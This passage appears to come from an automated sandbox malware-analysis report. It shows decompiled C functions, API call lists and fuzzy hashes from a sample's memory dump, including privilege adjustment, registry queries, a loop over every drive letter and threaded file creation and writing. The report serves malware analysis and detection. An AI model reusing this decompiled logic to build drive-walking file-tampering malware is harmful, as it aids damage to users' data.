              • Part of subcall function 013651FE: CloseHandle.KERNEL32(00000000,?,01367B64,00000000,?,01367BC3,?,00000000,?,01363793,?,00000000,00000000,01363928,00000000), ref: 0136520A
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: Token$CloseHandleInformationOpenProcess
            • String ID:
            • API String ID: 4232945836-0
            • Opcode ID: dd6471891573b290f73d26f54ad412058983304a4a12a21910d145455de1d4b5
            • Instruction ID: b4079fa6d37345d1005015da9961ca26064626fa849fb2b102876b4cf0618f3b
            • Opcode Fuzzy Hash: dd6471891573b290f73d26f54ad412058983304a4a12a21910d145455de1d4b5
            • Instruction Fuzzy Hash: 06F0F836A5010CFBEF20DAE4D905AACBBBCEB04705F5081A5AA00E2090DB719B589B50
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 100%
            			E0136789E(void* __ecx, long _a4) {
            				char _v5;
            				long _t7;
            				long _t11;
            
            				_v5 = 0;
            				_t7 = RtlAdjustPrivilege(_a4, 1, 1,  &_v5);
            				if(_t7 == 0 || _t7 != 0xc000007c) {
            					L4:
            					return 1;
            				} else {
            					_t11 = RtlAdjustPrivilege(_a4, 1, 0,  &_v5); // executed
            					if(_t11 == 0) {
            						goto L4;
            					}
            					return 0;
            				}
            			}






            0x013678a5
            0x013678b1
            0x013678b9
            0x013678db
            0x00000000
            0x013678c2
            0x013678cd
            0x013678d5
            0x00000000
            0x00000000
            0x00000000
            0x013678d7

            APIs
            • RtlAdjustPrivilege.NTDLL(?,00000001,00000001,?), ref: 013678B1
            • RtlAdjustPrivilege.NTDLL(?,00000001,00000000,00000000), ref: 013678CD
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: AdjustPrivilege
            • String ID:
            • API String ID: 3260937286-0
            • Opcode ID: aa1080f9b5bbae66dac86b0057f5a39d0210652c977cd5ae8f0f77fccc776c0f
            • Instruction ID: 3624a51bf1a8e1ad4b33f185c2fbffc839e0710ca266be9c84bc9f5ad79073ce
            • Opcode Fuzzy Hash: aa1080f9b5bbae66dac86b0057f5a39d0210652c977cd5ae8f0f77fccc776c0f
            • Instruction Fuzzy Hash: DDE0923266820CBAFF308A65CC42FA97FAC9B0874DF408064B905F5184E6A2DA49C750
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 100%
            			E01364EF2(void* _a4, long _a8) {
            				void* _t4;
            
            				if(_a8 != 0) {
            					while(1) {
            						_t4 = RtlAllocateHeap(_a4, 8, _a8); // executed
            						if(_t4 != 0) {
            							break;
            						}
            						Sleep(0xa);
            					}
            					return _t4;
            				} else {
            					return 0;
            				}
            			}




            0x01364ef9
            0x01364f07
            0x01364f0f
            0x01364f17
            0x00000000
            0x00000000
            0x01364f01
            0x01364f01
            0x01364f1a
            0x01364efb
            0x01364efe
            0x01364efe

            APIs
            • RtlAllocateHeap.NTDLL(?,00000008,00000000), ref: 01364F0F
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: AllocateHeap
            • String ID:
            • API String ID: 1279760036-0
            • Opcode ID: d0d0d1408d51befe573299b2b0792b049f9cd3dd68ec32620d14e295e86ae6ae
            • Instruction ID: bdb28c39996f810689b4ac04c9036293fe6a288347e0a64e72e2817377d3d8b2
            • Opcode Fuzzy Hash: d0d0d1408d51befe573299b2b0792b049f9cd3dd68ec32620d14e295e86ae6ae
            • Instruction Fuzzy Hash: 9CD0C73164470CBBEF611EE5EC09B553B9DBB407AAF40C051F70C88494DB75D165DB51
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 70%
            			E01361E1E(void* __edx, int* _a4) {
            				char _v8;
            				short _v12;
            				char _v28;
            				short _v30;
            				char _v80;
            				short _v82;
            				char _v396;
            				void* _t29;
            				intOrPtr _t35;
            				void* _t39;
            				void* _t41;
            				void* _t46;
            				void* _t53;
            				void* _t55;
            				void* _t57;
            				void* _t58;
            				int* _t59;
            				void* _t60;
            				void* _t62;
            				void* _t63;
            
            				_t58 = __edx;
            				E013661FD(0x1370278, 0x1047, 8, 0x32,  &_v80);
            				_v30 = 0;
            				E013661FD(0x1370278, 0x431, 0xb, 0x10,  &_v28);
            				_t59 = _a4;
            				_v12 = 0;
            				_t29 = E01365A9E(0x80000002,  &_v80,  &_v28,  &_v8, _t59); // executed
            				_t60 = _t29;
            				_t63 = _t62 + 0x3c;
            				if(_t60 != 0) {
            					L2:
            					if(_v8 == 3) {
            						L8:
            						return _t60;
            					}
            					L3:
            					_t55 = E01364F5C(0x20000);
            					if(_t55 != 0) {
            						E013661FD(0x1370278, 0x8f3, 0xb, 0x13a,  &_v396);
            						_v82 = 0;
            						_t35 =  *0x1372428; // 0x307d428
            						 *0x1371638(_t55, 0x20000,  &_v396, 0x206,  *0x1372410,  *0x1372414,  *0x137242c,  *0x1372430,  *0x1372434,  *0x1372438,  *0x137243c,  *0x1372440,  *0x1372444,  *0x1372448,  *0x137244c,  *0x13724ac,  *0x1372450, _t35 + 2);
            						_t39 = E0136666B(_t55);
            						_t57 = _t59;
            						_push(_t39 + _t39);
            						_push(_t55);
            						_push(0x1370000); // executed
            						_t41 = E01366F85(_t58); // executed
            						_t60 = _t41;
            						E01364FA9(_t55);
            						if(_t60 == 0) {
            							goto L4;
            						}
            						_t46 = E01365B1D(_t57, 0x80000002,  &_v80,  &_v28, 3, _t60,  *_t59); // executed
            						if(_t46 == 0) {
            							E01365B1D(_t57, 0x80000001,  &_v80,  &_v28, 3, _t60,  *_t59);
            						}
            						goto L8;
            					}
            					L4:
            					return 0;
            				}
            				_t53 = E01365A9E(0x80000001,  &_v80,  &_v28,  &_v8, _t59); // executed
            				_t60 = _t53;
            				_t63 = _t63 + 0x14;
            				if(_t60 == 0) {
            					goto L3;
            				}
            				goto L2;
            			}























            0x01361e1e
            0x01361e3d
            0x01361e44
            0x01361e56
            0x01361e5b
            0x01361e60
            0x01361e76
            0x01361e7b
            0x01361e7d
            0x01361e82
            0x01361ea4
            0x01361ea8
            0x01361fb9
            0x00000000
            0x01361fb9
            0x01361eae
            0x01361eb9
            0x01361ebe
            0x01361edf
            0x01361ee6
            0x01361eea
            0x01361f4f
            0x01361f5a
            0x01361f5f
            0x01361f62
            0x01361f63
            0x01361f64
            0x01361f69
            0x01361f6f
            0x01361f71
            0x01361f7b
            0x00000000
            0x00000000
            0x01361f93
            0x01361f9d
            0x01361fb1
            0x01361fb6
            0x00000000
            0x01361f9d
            0x01361ec0
            0x00000000
            0x01361ec0
            0x01361e96
            0x01361e9b
            0x01361e9d
            0x01361ea2
            0x00000000
            0x00000000
            0x00000000

            APIs
              • Part of subcall function 01365A9E: RegOpenKeyExW.KERNELBASE(0000000C,00000005,00000000,00000001,?,01370278,80000002,?,?,013623A5,80000002,?,?,?,?,01370278), ref: 01365AB5
              • Part of subcall function 01365A9E: RegQueryValueExW.KERNELBASE(?,000002D3,00000000,01370278,00000000,?,00000001,?,?,013623A5,80000002,?,?,?,?,01370278), ref: 01365ACF
              • Part of subcall function 01365A9E: RegQueryValueExW.KERNELBASE(?,000002D3,00000000,01370278,00000000,?,?,?,013623A5,80000002,?,?,?,?,01370278,000002D3), ref: 01365AF8
              • Part of subcall function 01365A9E: RegCloseKey.KERNELBASE(?,?,?,013623A5,80000002,?,?,?,?,01370278,000002D3,00000005,0000000C,?), ref: 01365B0E
            • _snwprintf.NTDLL ref: 01361F4F
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: QueryValue$CloseOpen_snwprintf
            • String ID:
            • API String ID: 775465768-0
            • Opcode ID: 6241065b74a9c723af707c8ed81e1e6ffad6e86216c27597db4a84f907f8b1b2
            • Instruction ID: 93cafa2af5af5e2f8ca13d872469edb4663b707f491465a8c071bd71ab101299
            • Opcode Fuzzy Hash: 6241065b74a9c723af707c8ed81e1e6ffad6e86216c27597db4a84f907f8b1b2
            • Instruction Fuzzy Hash: 8241A772940109BFDB329AD4DC41EEF7BBCEB18754F408125FB04F615AE661962487A1
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 100%
            			E01368101(void* __ecx, void* __eflags, int _a4) {
            				short _v6;
            				char _v20;
            				short _v70;
            				short _v76;
            				short _v84;
            				int _t24;
            				short _t27;
            				void* _t35;
            				void* _t39;
            				void* _t40;
            
            				E01364FE3( &_v84, 0, 0x40);
            				E013661FD(0x1371728, 0x529, 0xc, 0xe,  &_v20);
            				_v6 = 0;
            				E013665C2( &_v84,  &_v20);
            				_t40 = _t39 + 0x28;
            				_t35 = 0x5a;
            				if(_v76 <= _t35) {
            					do {
            						_t24 = GetDriveTypeW( &_v84); // executed
            						if(_t24 + 0xfffffffe <= 2) {
            							 *0x1371f40 =  *0x1371f40 & 0x00000000;
            							_t37 = E01364F5C(0xfffe);
            							E013665C2(_t28,  &_v84);
            							E01367DA1(_t37, _a4); // executed
            							E01364FA9(_t37);
            							_t40 = _t40 + 0x18;
            						}
            						_t27 = _v76 + 1;
            						_v70 = 0;
            						_v76 = _t27;
            					} while (_t27 <= _t35);
            				}
            				return 1;
            			}













            0x01368110
            0x01368127
            0x0136812e
            0x0136813a
            0x0136813f
            0x01368144
            0x01368149
            0x0136814c
            0x01368150
            0x0136815c
            0x0136815e
            0x0136816f
            0x01368176
            0x0136817f
            0x01368185
            0x0136818a
            0x0136818a
            0x01368193
            0x01368195
            0x01368199
            0x0136819d
            0x013681a2
            0x013681aa

            APIs
            • GetDriveTypeW.KERNELBASE(?,00000000,?,?,?,?,?,?,?,?,?,00000001), ref: 01368150
              • Part of subcall function 01364F5C: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,01361548), ref: 01364F71
              • Part of subcall function 01364F5C: GetProcessHeap.KERNEL32(?,01361548), ref: 01364F80
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: Heap$CreateDriveProcessType
            • String ID:
            • API String ID: 1501148493-0
            • Opcode ID: 29f4c107d45cf7f30411782a0c312346acbae4109ed0619367e20ccca56767ba
            • Instruction ID: a61d76de8ade4b42ec38d115fb612fc036866703fcdbb2b1400aee3dc0342940
            • Opcode Fuzzy Hash: 29f4c107d45cf7f30411782a0c312346acbae4109ed0619367e20ccca56767ba
            • Instruction Fuzzy Hash: 43110672D40218A6DB20BBE8CC42FEFB3BCEF15744F044529E605EA088E6A485498396
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 91%
            			E01365562(void* __edx) {
            				char _v8;
            				short _v12;
            				short _v28;
            				char _v92;
            				WCHAR* _t11;
            				char _t12;
            				void* _t14;
            				void* _t30;
            				WCHAR* _t31;
            
            				_t30 = __edx;
            				_t11 = E01364F5C(0x22);
            				_t31 = _t11;
            				if(_t31 != 0) {
            					_t12 = E01365BE0(); // executed
            					_v8 = _t12;
            					_t14 = E01366D80(0x539,  &_v8, 4);
            					E01364FE3( &_v92, 0, 0x40);
            					E01365235(_t30,  &_v92);
            					E013661FD(0x1371728, 0x145, 0xd, 0x10,  &_v28);
            					_v12 = 0;
            					_push(_v8);
            					wsprintfW(_t31,  &_v28, E01366D80(_t14,  &_v92, E01366658( &_v92)));
            					return _t31;
            				}
            				return _t11;
            			}












            0x01365562
            0x0136556b
            0x01365570
            0x01365575
            0x01365578
            0x0136557d
            0x0136558b
            0x0136559a
            0x013655a3
            0x013655ba
            0x013655c4
            0x013655cb
            0x013655e8
            0x00000000
            0x013655f3
            0x013655f8

            APIs
              • Part of subcall function 01364F5C: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,01361548), ref: 01364F71
              • Part of subcall function 01364F5C: GetProcessHeap.KERNEL32(?,01361548), ref: 01364F80
              • Part of subcall function 01365BE0: GetVolumeInformationW.KERNELBASE(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000022,?,0136557D,00000000,00000001), ref: 01365C03
            • wsprintfW.USER32 ref: 013655E8
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: Heap$CreateInformationProcessVolumewsprintf
            • String ID:
            • API String ID: 2230357944-0
            • Opcode ID: e61d671fe5f9a4392e1bb5c72500b203ae4bd5764015f4bc6aa785d0eb3987b9
            • Instruction ID: 770a6882649d9ebb9fb53fa2c895f60cfdd8bcd3cd8bb0a66c34b12266cf1c20
            • Opcode Fuzzy Hash: e61d671fe5f9a4392e1bb5c72500b203ae4bd5764015f4bc6aa785d0eb3987b9
            • Instruction Fuzzy Hash: E601D6B6D401497AD711B7E88C0AFEFB7BC8F10744F004066F704EA188EA60561447E5
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 100%
            			E01367B80(void* __eflags, intOrPtr* _a4, intOrPtr _a8, long _a12, _Unknown_base(*)()* _a16) {
            				intOrPtr _t7;
            				void* _t8;
            				void* _t9;
            				intOrPtr* _t21;
            
            				_t7 = E01364F1B(_a8); // executed
            				_t21 = _a4;
            				 *_t21 = _t7;
            				if(_t7 != 0) {
            					_t8 = CreateIoCompletionPort(0xffffffff, 0, 0, _a12);
            					 *(_t21 + 4) = _t8;
            					if(_t8 != 0) {
            						_t9 = E01367B22(_t21, _a16); // executed
            						if(_t9 != 0) {
            							return 1;
            						}
            						E01364F38( *_t21);
            						E013651FE( *(_t21 + 4));
            						L4:
            						goto L1;
            					}
            					E01364F38( *_t21);
            					goto L4;
            				}
            				L1:
            				return 0;
            			}







            0x01367b87
            0x01367b8c
            0x01367b90
            0x01367b94
            0x01367ba3
            0x01367ba9
            0x01367bae
            0x01367bbe
            0x01367bc7
            0x00000000
            0x01367bdd
            0x01367bcb
            0x01367bd3
            0x01367bb7
            0x00000000
            0x01367bb7
            0x01367bb2
            0x00000000
            0x01367bb2
            0x01367b96
            0x00000000

            APIs
              • Part of subcall function 01364F1B: HeapCreate.KERNELBASE(00000000,00000000,00000000,?,01367B8C,00000000,00000000,?,01363793,?,00000000,00000000,01363928,00000000), ref: 01364F30
            • CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,01363928,00000000,?,01363793,?,00000000,00000000,01363928,00000000), ref: 01367BA3
              • Part of subcall function 01367B22: CreateThread.KERNELBASE(00000000,00000000,00000000,?,00000000,00000000), ref: 01367B46
              • Part of subcall function 01367B22: SetThreadPriority.KERNELBASE(00000000,00000002,?,01367BC3,?,00000000,?,01363793,?,00000000,00000000,01363928,00000000), ref: 01367B55
              • Part of subcall function 01364F38: HeapDestroy.KERNEL32(?,?,01367BD0,?,?,01363793,?,00000000,00000000,01363928,00000000), ref: 01364F3E
              • Part of subcall function 013651FE: CloseHandle.KERNEL32(00000000,?,01367B64,00000000,?,01367BC3,?,00000000,?,01363793,?,00000000,00000000,01363928,00000000), ref: 0136520A
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: Create$HeapThread$CloseCompletionDestroyHandlePortPriority
            • String ID:
            • API String ID: 755708441-0
            • Opcode ID: f0f7f1d25f85f515ce7afe378bcc825ca57906abb379dea050c8ab64578d1ff3
            • Instruction ID: 9794e62e18706e17d66fd36837ec93b7a0cf16514280f4e73259dcc252324d1b
            • Opcode Fuzzy Hash: f0f7f1d25f85f515ce7afe378bcc825ca57906abb379dea050c8ab64578d1ff3
            • Instruction Fuzzy Hash: 2BF09632514207EADF222F28DC04E967BEDEF1166DF60C929FA65E7498FA21D4104650
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 87%
            			E01365BE0() {
            				long _v8;
            				signed int _t9;
            				WCHAR* _t16;
            
            				_t16 = E01365FAA();
            				_t7 = 0;
            				if(_t16 != 0) {
            					_t16[3] = 0;
            					_t9 = GetVolumeInformationW(_t16, 0, 0,  &_v8, 0, 0, 0, 0); // executed
            					asm("sbb eax, eax");
            					_v8 = _v8 &  ~_t9;
            					E01364FA9(_t16);
            					_t7 = _v8;
            				}
            				return _t7;
            			}






            0x01365bea
            0x01365bec
            0x01365bf0
            0x01365bf4
            0x01365c03
            0x01365c0c
            0x01365c0e
            0x01365c11
            0x01365c16
            0x01365c19
            0x01365c1e

            APIs
              • Part of subcall function 01365FAA: GetWindowsDirectoryW.KERNEL32(00000000,00000000,00000000,01365BEA,00000000,00000022,?,0136557D,00000000,00000001), ref: 01365FAF
            • GetVolumeInformationW.KERNELBASE(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000022,?,0136557D,00000000,00000001), ref: 01365C03
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: DirectoryInformationVolumeWindows
            • String ID:
            • API String ID: 3487004747-0
            • Opcode ID: b60f0118280e48f61989b55a540ac30b2dcf6d03042a6d71ce4296482388fd84
            • Instruction ID: 88fc9676ee5701a9f074782cdf15e3ecc070a95bb09f481ed766e28b8f669048
            • Opcode Fuzzy Hash: b60f0118280e48f61989b55a540ac30b2dcf6d03042a6d71ce4296482388fd84
            • Instruction Fuzzy Hash: 80E06D72935119FBAB189BA8EC0ACFB729CCE05511700836EF805D6104FAA1AE0403A5
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 100%
            			E01367FCC(WCHAR* _a4, long _a8, long _a12, long _a16, long _a20) {
            				void* _t6;
            
            				_t6 = CreateFileW(_a4, _a8, _a12, 0, _a16, _a20, 0); // executed
            				_t7 =  ==  ? 0 : _t6;
            				return  ==  ? 0 : _t6;
            			}




            0x01367fe2
            0x01367fed
            0x01367ff1

            APIs
            • CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,?,01364566,00000000,40000000,00000000,00000002,00000000,00000000,00000000), ref: 01367FE2
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: CreateFile
            • String ID:
            • API String ID: 823142352-0
            • Opcode ID: 27aa5862d8288ab5e16631c6123d1fedaf52317149aa88d7402f2b42e7911bfe
            • Instruction ID: 13d4b4f25b880c8af9c6f35c3d70392764c8efcca00ee2f88ac9770fa212c2d5
            • Opcode Fuzzy Hash: 27aa5862d8288ab5e16631c6123d1fedaf52317149aa88d7402f2b42e7911bfe
            • Instruction Fuzzy Hash: 56D0923214424DBFDF260EA0DC06F9A3F6AAF08760F504618FA29980E0D672E470AB84
            Uniqueness

            Uniqueness Score: -1.00%

            APIs
            • GetNativeSystemInfo.KERNELBASE(?,?,?,?,01361AE1,00000000,00000000,?,00000000,?), ref: 01365816
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: InfoNativeSystem
            • String ID:
            • API String ID: 1721193555-0
            • Opcode ID: 76c11c96229d2bc4ed028276bf69249a88f37a1371719654be02a5fabeec59db
            • Instruction ID: 74512533ff7ded987669a840fc13cbfd39561d3966a0649f532bff2d9fcce4e9
            • Opcode Fuzzy Hash: 76c11c96229d2bc4ed028276bf69249a88f37a1371719654be02a5fabeec59db
            • Instruction Fuzzy Hash: 0DC0122681420C8ACB14EAB09509489B7FC960C210B400590D80592040F6659A5487D1
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 100%
            			E01364F1B(void _a4) {
            				void* _t5;
            
            				_t4 =  !=  ? _a4 : 0x400000;
            				_t5 = HeapCreate(0,  !=  ? _a4 : 0x400000, 0); // executed
            				return _t5;
            			}




            0x01364f29
            0x01364f30
            0x01364f37

            APIs
            • HeapCreate.KERNELBASE(00000000,00000000,00000000,?,01367B8C,00000000,00000000,?,01363793,?,00000000,00000000,01363928,00000000), ref: 01364F30
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: CreateHeap
            • String ID:
            • API String ID: 10892065-0
            • Opcode ID: c2e771fd83a582de3cbea36199bbbc2b0e70da9ba5745b169831faa134c4113a
            • Instruction ID: 1ab7d54f99950735b4cfe5e3900bb0d84fe63b4956a8949333077078ddb6b534
            • Opcode Fuzzy Hash: c2e771fd83a582de3cbea36199bbbc2b0e70da9ba5745b169831faa134c4113a
            • Instruction Fuzzy Hash: D3C04C31244608EBEB505A94EC46BA577ECDB44756F908021FA0DAA5C0C7B5A9908BA5
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 100%
            			E01368024(void* _a4, void* _a8, long _a12, DWORD* _a16) {
            				int _t5;
            
            				_t5 = WriteFile(_a4, _a8, _a12, _a16, 0); // executed
            				return _t5;
            			}




            0x01368035
            0x0136803c

            APIs
            • WriteFile.KERNELBASE(00000D8A,00000000,01364591,?,00000000,?,01364591,00000000,00000D8A,?), ref: 01368035
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: FileWrite
            • String ID:
            • API String ID: 3934441357-0
            • Opcode ID: fe7ed69bb6e1210f728f33e07c423d44f0a5b785fe4905cb06bae9014b91d390
            • Instruction ID: bcc240d0e05a0db9d4eecbb8d8dd13762bf8302d47666646a821cf115dc812a9
            • Opcode Fuzzy Hash: fe7ed69bb6e1210f728f33e07c423d44f0a5b785fe4905cb06bae9014b91d390
            • Instruction Fuzzy Hash: BFC0013604020DBBCF225E81ED05E9A3F2AEB08761F048010FA18180608772A930AB95
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 100%
            			E01364F46(void* _a4, void* _a8) {
            				signed char _t3;
            
            				_t3 = RtlFreeHeap(_a4, 0, _a8); // executed
            				return _t3 & 0x000000ff;
            			}




            0x01364f51
            0x01364f5b

            APIs
            • RtlFreeHeap.NTDLL(00000003,00000000,0000000E), ref: 01364F51
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: FreeHeap
            • String ID:
            • API String ID: 3298025750-0
            • Opcode ID: dc5d23fb4374a8fefe2e829169640148fb28dd92121490d21924b282518d66b7
            • Instruction ID: 8a5ce1269a93a335f900d6e2f4f746c3039fa8a9561b97fdeac8c1aed8e9d631
            • Opcode Fuzzy Hash: dc5d23fb4374a8fefe2e829169640148fb28dd92121490d21924b282518d66b7
            • Instruction Fuzzy Hash: F7C0923208031CBBCF211E82EC06BA83FADAB01765F408051FA0C580A2C672A560AB94
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 100%
            			E01367618(CHAR* _a4) {
            				struct HINSTANCE__* _t3;
            
            				E0136734D(0xf4c49cc5);
            				_t3 = LoadLibraryA(_a4); // executed
            				return _t3;
            			}




            0x01367623
            0x01367629
            0x0136762c

            APIs
            • LoadLibraryA.KERNELBASE(?,?,0136705D,?), ref: 01367629
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: LibraryLoad
            • String ID:
            • API String ID: 1029625771-0
            • Opcode ID: 686d86e41d95af9d861d3ce11e0ec2a5a1a424cbcbf6e346976497257b7d083c
            • Instruction ID: e918ad86c69c05721d58a327d4c523219f38afec1c3ce5ce1aacfef1ec2ec7c8
